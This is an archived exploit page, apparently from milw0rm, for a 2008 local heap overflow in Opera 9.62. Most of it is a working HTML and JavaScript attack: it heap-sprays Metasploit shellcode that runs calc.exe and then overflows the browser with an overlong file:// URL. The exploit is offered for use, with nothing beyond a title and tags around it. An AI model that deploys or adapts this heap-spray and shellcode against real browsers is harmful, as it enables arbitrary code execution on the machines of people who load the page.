Opera 9.62 file:// Local Heap Overflow Exploit

[ 2008年11月18日 ]

Tags: Exploit Opera

<html> <head><title>uh?</title></head> <body> <script> // k`sOSe 11/15/2008 // tested on Windows XP SP3, opera 9.62 international version // vulnerability found by send9 // there are many ways to achieve code execution, tons of function pointers to overwrite. // maybe there's one more reliable... var i=0; // push es, pop es var block = unescape("%u0607%u0607"); // metasploit WinExec c:\WINDOWS\system32\calc.exe var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100"); while (block.length < 81920) block += block; var memory = new Array(); for (;i<1000;i++) memory[i] += (block + shellcode); var evil = "file://"; for(var i = 0; i<16438; i++) evil += "X"; evil += "R."; window.location.replace(evil); </script> </body> </html> # milw0rm.com [2008-11-17]